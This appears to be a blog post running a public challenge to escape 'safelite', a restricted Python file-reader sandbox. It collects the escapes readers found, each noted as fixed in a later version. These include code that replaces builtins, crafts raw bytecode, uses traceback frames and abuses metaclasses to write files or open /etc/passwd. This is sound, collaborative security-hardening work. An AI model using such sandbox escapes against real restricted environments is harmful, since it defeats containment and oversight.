[Update: You can find out more in my new article: Paving the Way to Securing the Python Interpreter]
The challenge is simple:
Open a fresh Python interpreter and do:
>>> from safelite import FileReaderYou can use FileReader to read files on your filesystem
Now find a way to write to the filesystem from your interpreter
You can find the latest version of safelite.py here:
I will keep safelite.py updated as new exploits and workarounds are found until we hopefully end up with a version we can be confident about. [VERSION attribute added on Steven D'Aprano's recommendation.]
If enough smart hackers look at this and it holds up, Guido promises to accept a patch which would enable this function-based approach to security on both App Engine and future Python versions.
So, please try the challenge and let me know how you find it in the comments. Thanks!
Note: The aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count.
Good luck and thanks! =)
Exploits Found & Fixed So Far:
Victor Stinner and Tim Wintle found the first exploit:
>>> reload(__builtins__) <module '__builtin__' (built-in)>
>>> open('0wn3d', 'w').write('w00t\n')[Fixed in v2]
Guido van Rossum and Mark Eichin came up with this devious:
>>> class S(str): ... def __eq__(self, o): return 'r' == o
>>> f = FileReader('w00t', S('w'))>>> f.close() # creates an empty file called 'w00t'[Fixed in v3]
clsn took it further and bypassed the fix in v4:
>>> class S(str): ... def __eq__(self, o): return 'r' == o ... def __str__(self): return self
[Fixed in v5]
Mike Rooney started messing with the assumptions of builtins being unaltered:
>>> __builtins__.str = S[Fixed in v5]
Farshid Lashkari then took it to a whole new elegant level:
>>> _real_file = None>>> def _new_isinstance(obj,types): ... global _real_file ... if _real_file is None and obj.__class__.__name__ == 'file': ... _real_file = obj.__class__ ... return _old_isinstance(obj,types)
>>> __builtins__.isinstance = _new_isinstance >>> FileReader('nul')
>>> f = _real_file('foo.txt', 'w')[Fixed in v5]
Guido van Rossum noted that FileReader's __metaclass__ was accessible:
>>> f = FileReader('/etc/passwd') >>> kall = f.__class__.__metaclass__.__call__.im_func
>>> kall(f.__class__.__metaclass__, [('foo', 47)]) <type 'list'>
>>> f.__class__.__metaclass__.foo 47
[Locked-down in v6 before he could do any real damage ;p]
Paul Cannon did the unexpected with his super hardcore exploit:
>>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))( ... 2, 2, 4, 67, ... 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', ... (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,) ... )
>>> try: ... FileReader('foo', 2) ... except: ... pass
>>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')[Fixed in v6 — but the principles can still be used. Paul Cannon explains in depth.]
Daniel Diniz emailed in with this devastating mugging:
from safelite import FileReader
# Let's build a fake module
warnings = __builtins__.__class__('warnings')
# Fill it with deception
warnings.default_action = "ignore"
# And provide a supporting thug
def __import__(*args):
print args
try:
print "How nice:\n", args[1].keys()
global sys
sys = args[1]['sys']
except Exception, v:
print "Exception:", v
return warnings
# Put the bogus module at the doorstep...
__builtins__.warnings = warnings
# and have the thug replacing the doorman
__builtins__.__import__ = __import__
# An unsuspecting costumer passes by...
FileReader('safelite.py').seek(1.1)
# ... and is brutally mugged :)
print sys
print dir(sys)[Fixed in v7]
Nick Coghlan got evil with context managers:
>>> class EvilCM(object): ... def __enter__(self): ... return self ... def __exit__(self, exc_type, exc, tb): ... tb.tb_next.tb_frame.f_locals['open_file']('w00t', 'w').write('yay!\n') ... return True
>>> with EvilCM(): ... FileReader(10, 12)
[Fixed in v8]
Guido van Rossum emailed in with ways to trick trusted code to evaluate unsafe code in its own globals!! [See also his similar hack with eval in the comments below].
>>> f = FileReader('/etc/passwd') >>> f.__class__.__int__ = input
>>> f.read(f) (fileobj.__class__('/tmp/w00t', 'w').write('w00t\n'), 0)[1]
[Fixed in v9]
Found an exploit yet?? Try safelite.py and let me know!
